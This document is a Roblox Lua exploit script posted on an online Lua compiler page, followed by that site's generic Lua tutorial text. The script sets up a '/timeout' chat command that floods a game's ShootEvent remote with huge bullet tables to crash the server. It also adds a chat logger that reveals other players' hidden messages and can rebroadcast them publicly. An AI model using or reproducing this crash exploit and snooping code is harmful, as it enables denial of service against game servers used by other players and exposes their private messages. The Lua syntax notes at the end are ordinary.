print("Successfully Loaded Script! Fawn Shiesty#3621")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Script Loaded";
Text = "Type /timeout to crash server. Press F1 to enable anti-crash."
})

--- PMS

local function SendNotification(title,text,duration,...)
  game.StarterGui:SetCore("SendNotification", {
    Title = title;
    Text = text;
	Icon = "";
    Duration = duration;
  })
end

  game.Players.ChildAdded:Connect(function(player)
  if not pcall (function()
  SendNotification("Player Joined",""..player.Name.."  has joined the server.",2.7 )
  end) then
    print ("Error")
  end
  end)

  game.Players.ChildRemoved:Connect(function(player)
  if not pcall (function()
  SendNotification("Player Left",""..player.Name.."  has left the server.",2.7 )
  end) then
    print ("Error")
  end
  end)
  for i,v in pairs(game:GetService("CoreGui"):GetChildren()) do 
	if v.Name == "PurchasePromptApp" then 
		v:Remove()
    end
end
for i,v in pairs(game:GetService("CoreGui"):GetChildren()) do 
	if v.Name == "PrisonBreakerV1.6" then 
		v:Remove()
    end
end
--- Crash cmd
game.Players.LocalPlayer.Chatted:connect(function(msg)
    if msg == "/timeout" or msg == ".timeout" then
local Players = game:GetService("Players") 
local RStorage = game:GetService("ReplicatedStorage")
local SendCrash = RStorage:WaitForChild("ShootEvent")
local packetamount = 100000
local packetsend = 150
local bulletlength = math.huge  
local Tool = "Remington 870"  

function getCrashTool()
local Player = Players.LocalPlayer 
local Backpack = Player:FindFirstChild("Backpack")
workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver[Tool].ITEMPICKUP)
return Backpack:FindFirstChild(Tool)
end

function crash()
local CrashTable = { }
for i=1, packetamount do 
CrashTable[i] = {
Cframe = CFrame.new(),
Distance = bulletlength }
end
for i=1, packetsend do 
SendCrash:FireServer(CrashTable,getCrashTool())
end
end

crash()
end
end)
        
game:GetService("UserInputService").InputBegan:connect(function(inputObject, gameProcessedEvent)
 if gameProcessedEvent then return end
 if inputObject.KeyCode == Enum.KeyCode.F1 then
  local anticrash = game:GetService("Players").LocalPlayer.PlayerScripts.ClientGunReplicator
  anticrash.Disabled = not anticrash.Disabled
  game.StarterGui:SetCore("SendNotification", {
       Title = "Anti-Crash";
       Text = tostring(anticrash.Disabled);
  })
 end
end)

--- PM

--This script reveals ALL hidden messages in the default chat

enabled = true --chat "/logs" to toggle!
logOnMyself = false --if true will check your messages too
public = false --if true will chat the logs publicly (fun, risky)
publicItalics = true --if true will use /me to stand out
privateProperties = { --customize private logs
	Color = Color3.fromRGB(0,255,255); 
	Font = Enum.Font.SourceSansBold;
	TextSize = 18;
}


local StarterGui = game:GetService("StarterGui")
local Players = game:GetService("Players")
local player = Players.LocalPlayer or Players:GetPropertyChangedSignal("LocalPlayer"):Wait() or Players.LocalPlayer
local saymsg = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest")
local getmsg = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("OnMessageDoneFiltering")
local instance = (_G.chatlogInstance or 0) + 1
_G.chatlogInstance = instance

local function onChatted(p,msg)
	if _G.chatlogInstance == instance then
		if p==player and msg:lower():sub(1,4)=="/log" then
			enabled = not enabled
			wait(0.3)
			privateProperties.Text = "(Logs "..(enabled and "en" or "dis").."abled)"
			StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
		elseif enabled and (logOnMyself==true or p~=player) then
			msg = msg:gsub("[\n\r]",''):gsub("\t",' '):gsub("[ ]+",' ')
			local hidden = true
			local conn = getmsg.OnClientEvent:Connect(function(packet,channel)
				if packet.SpeakerUserId==p.UserId and packet.Message==msg:sub(#msg-#packet.Message+1) and (channel=="All" or (channel=="Team" and public==false and Players[packet.FromSpeaker].Team==player.Team)) then
					hidden = false
				end
			end)
			wait(1)
			conn:Disconnect()
			if hidden and enabled then
				if public then
					saymsg:FireServer((publicItalics and "/me " or '').."(LOG) [".. p.Name .."]: "..msg,"All")
				else
					privateProperties.Text = "(LOG) [".. p.Name .."]: "..msg
					StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
				end
			end
		end
	end
end

for _,p in ipairs(Players:GetPlayers()) do
	p.Chatted:Connect(function(msg) onChatted(p,msg) end)
end
Players.PlayerAdded:Connect(function(p)
	p.Chatted:Connect(function(msg) onChatted(p,msg) end)
end)
privateProperties.Text = "(LOG "..(enabled and "En" or "Dis").."abled)"
StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
if not player.PlayerGui:FindFirstChild("Chat") then wait(3) end
local chatFrame = player.PlayerGui.Chat.Frame
chatFrame.ChatChannelParentFrame.Visible = true
chatFrame.ChatBarParentFrame.Position = chatFrame.ChatChannelParentFrame.Position+UDim2.new(UDim.new(),chatFrame.ChatChannelParentFrame.Size.Y)
 

Lua online compiler

Write, Run & Share Lua code online using OneCompiler's Lua online compiler for free. It's one of the robust, feature-rich online compilers for Lua language, running the latest Lua version 5.4. Getting started with the OneCompiler's Lua editor is easy and fast. The editor shows sample boilerplate code when you choose language as Lua and start coding.

Taking inputs (stdin)

OneCompiler's Lua online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample Lua program which takes name as input and prints hello message with your name.

name = io.read("*a")
print ("Hello ", name)

About Lua

Lua is a light weight embeddable scripting language which is built on top of C. It is used in almost all kind of applications like games, web applications, mobile applications, image processing etc. It's a very powerful, fast, easy to learn, open-source scripting language.

Syntax help

Variables

  • By default all the variables declared are global variables
  • If the variables are explicitly mentioned as local then they are local variables.
  • Lua is a dynamically typed language and hence only the values will have types not the variables.

Examples

-- global variables
a = 10

-- local variables

local x = 30
Value TypeDescription
numberRepresents numbers
stringRepresents text
nilDifferentiates values whether it has data or not
booleanValue can be either true or false
functionRepresents a sub-routine
userdataRepresents arbitary C data
threadRepresents independent threads of execution.
tableCan hold any value except nil

Loops

1. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while(condition)
do
--code
end

2. Repeat-Until:

Repeat-Until is also used to iterate a set of statements based on a condition. It is very similar to Do-While, it is mostly used when you need to execute the statements atleast once.

repeat
   --code
until( condition )

3. For:

For loop is used to iterate a set of statements based on a condition.

for init,max/min value, increment
do
   --code
end

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increase re-usuability and modularity.

optional_function_scope function function_name( argument1, argument2, argument3........, argumentn)
--code
return params with comma seperated
end